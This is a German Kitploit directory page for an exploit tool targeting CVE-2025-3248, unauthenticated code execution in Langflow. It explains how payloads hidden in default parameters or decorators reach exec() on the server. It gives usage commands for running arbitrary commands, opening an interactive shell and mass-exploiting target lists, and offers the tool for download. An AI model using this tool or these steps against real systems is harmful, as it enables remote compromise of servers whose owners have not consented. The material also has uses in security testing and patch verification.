Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2025-3248 — Langflow ruft beim Parsen und Kompilieren des vom Benutzer übermittelten „Verifizierungscodes“ mittels AST-Analyse Python’s `compile()`/`exec()` auf, ohne Authentifizierung oder Sandbox-Einschränkungen (wobei in der Kompilierungsphase auch Funktionsstandardparameter und Dekoratoren ausgewertet werden). Angreifer können bösartige Payloads in Standardparameterwerten oder Dekoratoren platzieren und so beliebige Anweisungen im Serverkontext ausführen (Reverse Shells, Downloader, Lateral Movement usw.). | Kitploit
Tools/GitHubGitHub/bambooqj/cve-2025-3248
SchwachstellenscannerExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRemote-Access-Tool
GitHubbambooqj/cve-2025-3248

cve-2025-3248

Repository anzeigen
16vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Langflow ruft beim Parsen und Kompilieren des vom Benutzer übermittelten „Verifizierungscodes“ mittels AST-Analyse Python’s `compile()`/`exec()` auf, ohne Authentifizierung oder Sandbox-Einschränkungen (wobei in der Kompilierungsphase auch Funktionsstandardparameter und Dekoratoren ausgewertet werden). Angreifer können bösartige Payloads in Standardparameterwerten oder Dekoratoren platzieren und so beliebige Anweisungen im Serverkontext ausführen (Reverse Shells, Downloader, Lateral Movement usw.).

Teilen

CVE-2025-3248 Langflow RCE Scanner

Ein Python-Tool zum Scannen und Ausnutzen der Schwachstelle CVE-2025-3248, die Remote-Code-Ausführung (RCE) in Langflow-Anwendungen ermöglicht.

Funktionen

  • Einzelziel-Scan und Befehlsausführung
  • Batch-URL-Scan
  • Interaktiver Shell-Modus
  • Multithread-Batchverarbeitung
  • Detaillierte Ausgabe und Fehlerbehandlung
  • Speichern der Ergebnisse in Dateien

Abhängigkeiten installieren

root@kitploit:~
pip install requests

Verwendung

Einzelziel-Scan (interaktive Shell starten)

root@kitploit:~
python cve-2025-3248.py http://target:port

Einzelziel-Befehlsausführung

root@kitploit:~
python cve-2025-3248.py http://target:port -c "id"

Batch-Scan

root@kitploit:~
python cve-2025-3248.py -f urls.txt

Batch-Befehlsausführung

root@kitploit:~
python cve-2025-3248.py -f urls.txt -c "whoami"

Erweiterte Optionen

root@kitploit:~
python cve-2025-3248.py -f urls.txt -t 20 --timeout 15 -v

Parameter

  • url: Ziel-URL (z. B. http://10.10.10.1:7860)
  • -f, --file: Datei mit URL-Liste, eine URL pro Zeile
  • -c, --cmd: Auszuführender Befehl (z. B. id, whoami)
  • --timeout: Request-Timeout, Standard 10 Sekunden
  • -t, --threads: Anzahl der Threads für Batch-Scans, Standard 10
  • -v, --verbose: Ausführlicher Modus, zeigt die Rohantworten

Beispiele

Beispiel 1: Einzelziel-Scan

root@kitploit:~
python cve-2025-3248.py http://192.168.1.100:7860

Beispiel 2: Bestimmten Befehl ausführen

root@kitploit:~
python cve-2025-3248.py http://192.168.1.100:7860 -c "ls -la"

Beispiel 3: Mehrere Ziele im Batch scannen

Datei targets.txt erstellen:

root@kitploit:~
http://192.168.1.100:7860
http://192.168.1.101:7860
http://192.168.1.102:7860

Dann ausführen:

root@kitploit:~
python cve-2025-3248.py -f targets.txt

Beispiel 4: Batch-Befehlsausführung

root@kitploit:~
python cve-2025-3248.py -f targets.txt -c "uname -a" -t 5

Ausgabe-Erklärung

  • [+] Erfolgreiche Ausführung
  • [-] Fehler oder Misserfolg
  • [!] Warnhinweis
  • [*] Informationsausgabe

Ergebnisdateien

Erfolgreich gescannte Ziele werden in vulnerable_targets.txt oder vulnerable_targets_{command}.txt gespeichert.

Haftungsausschluss

Dieses Tool dient ausschließlich Sicherheitsforschung und Bildungszwecken. Der Nutzer ist für sein Handeln verantwortlich. Das Testen von Systemen ohne Autorisierung kann gegen Gesetze verstoßen.

Autor

  • bambooqj
  • GitHub: github.com/bambooqj

Referenzen

  • CVE-2025-3248
  • Referenzimplementierung: ynsmroztas/CVE-2025-3248-Langflow-RCE
Tool herunterladen